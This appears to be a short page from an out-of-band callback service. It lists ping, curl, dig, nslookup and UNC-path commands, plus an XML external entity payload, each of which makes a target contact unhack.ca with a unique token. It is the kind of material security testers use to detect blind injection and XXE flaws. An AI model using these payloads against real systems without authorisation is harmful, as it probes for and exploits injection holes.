$ ping -c1 -p 0089a69801d6bff068688331f94b8500 unhack.ca
 

$ curl http://unhack.ca/p/89a69801d6bff068688331f94b85
 

$ dig 89a69801d6bff068688331f94b85 @unhack.ca
 

$ dig 89a69801d6bff068688331f94b85.ns.unhack.ca
 

C:\> nslookup 89a69801d6bff068688331f94b85 unhack.ca
 

C:\> type \\unhack.ca\89a69801d6bff068688331f94b85\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/89a69801d6bff068688331f94b85">]>
    <foo>&xxe;</foo>